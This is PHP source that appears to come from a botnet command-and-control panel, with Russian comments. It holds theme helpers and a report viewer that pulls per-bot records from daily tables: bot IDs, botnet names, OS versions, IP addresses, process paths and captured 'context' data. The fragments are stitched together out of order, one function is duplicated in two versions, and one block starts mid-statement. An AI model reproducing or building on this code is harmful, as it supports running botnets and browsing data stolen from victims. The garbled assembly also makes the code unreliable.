function httpDownloadHeaders($name, $size) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . baseNameEx($name)); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . $size); httpNoCacheHeaders(); }
function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events) { //Добавление JavaScript. $javascript = ''; $body_js_events = $body_events === 0 ? '' : $body_events; if ($js_script != '') { $javascript .= str_replace('{SCRIPT}', $js_script, THEME_JAVASCRIPT_BODY); } if ($popup_menu != '') { $javascript .= str_replace('{SCRIPT}', $popup_menu, THEME_JAVASCRIPT_BODY) . str_replace('{PATH}', THEME_PATH . '/popupmenu.js', THEME_JAVASCRIPT_EXTERNAL); $body_js_events .= ' onclick="jsmHideLastMenu()"'; } header('Content-Type: ' . THEME_CONTENT_TYPE . '; charset=utf-8'); httpNoCacheHeaders(); echo str_replace(array('{SUBTITLE}', '{THEME_HTTP_PATH}', '{JAVASCRIPT}', '{BODY_JS_EVENTS}', '{BODY}'), array($subtitle, THEME_PATH, $javascript, $body_js_events, $data), file_get_contents(THEME_PATH . '/small.html')); }
} # Report echo '<li><a href="', QUERY_STRING_HTML . '&t=' . htmlEntitiesEx($filter['date']) . '&id=' . $m[0], '">[+]</a> ' . $text . '</li>'; } echo '</ul>'; } /* // [Infinite-scroll commented-out] print '<br><br><a class="load_next_page" href="'.$nextpage_url.'">'.LNG_REPORTS_VIEW_NEXTPAGE.'</a>'; */ } else { if ($_is_plain_search) { define('REPEAT_SIZE', 40); //Размер визальных разделитилей. define('HEADER_PAD', 30); //Длина заголовков. httpNoCacheHeaders(); header('Content-Type: text/plain; charset=utf-8'); echo ""; //UTF8 BOM $nc = $filter['nonames']; foreach ($rlist as $t) { $v = intval(substr($t, -6)); if ($v >= $filter['date1'] && $v <= $filter['date2']) { $lastdata = array_fill(0, 16, 0); //Заголовок даты. echo str_repeat('=', REPEAT_SIZE) . ' ' . gmdate(LNG_FORMAT_DATE, gmmktime(0, 0, 0, substr($t, -4, 2), substr($t, -2, 2), substr($t, -6, 2) + 2000)) . ' ' . str_repeat('=', REPEAT_SIZE) . "\r\n"; flush(); //Запрос. //0 //1 //2 //3 //4 //5 //6 //7 //8 //9 //10 //11 //12 //13 //14 $r = mysqlQueryEx($t, $q = 'SELECT bot_id, botnet, bot_version, os_version, language_id, time_system, time_localbias, time_tick, rtime, country, ipv4, process_name, process_info, path_source, type,' . 'LENGTH(context), context FROM ' . $t . ' `t` ' . $query1 . $query2); if (!$r) { echo mysqlErrorEx();
function themeSmall($subtitle, $data, $js_script, $popup_menu, $body_events) { //Добавление JavaScript. $javascript = ''; $body_js_events = $body_events === 0 ? '' : $body_events; if ($js_script != '') { $javascript .= str_replace('{SCRIPT}', $js_script, THEME_JAVASCRIPT_BODY); } if ($popup_menu != '') { $javascript .= str_replace('{SCRIPT}', $popup_menu, THEME_JAVASCRIPT_BODY) . str_replace('{PATH}', THEME_PATH . '/popupmenu.js', THEME_JAVASCRIPT_EXTERNAL); $body_js_events .= ' onclick="jsmHideLastMenu()"'; } header('Content-Type: ' . THEME_CONTENT_TYPE . '; charset=utf-8'); httpNoCacheHeaders(); $sere = array('{SUBTITLE}' => $subtitle, '{THEME_HTTP_PATH}' => THEME_PATH, '{JAVASCRIPT}' => $javascript, '{BODY_JS_EVENTS}' => $body_js_events, '{BODY}' => $data, '{LANGUAGE}' => empty($GLOBALS['userData']['language']) ? 'en' : $GLOBALS['userData']['language'], '{BODY_PAGE}' => defined('CURRENT_MODULE') ? CURRENT_MODULE : (isset($_GET['botsaction']) ? 'botsaction-' . htmlentities($_GET['botsaction']) : 'unknown'), '{FLASHMSG}' => ThemeFlashMessages()); echo str_replace(array_keys($sere), array_values($sere), file_get_contents(THEME_PATH . '/small.html')); }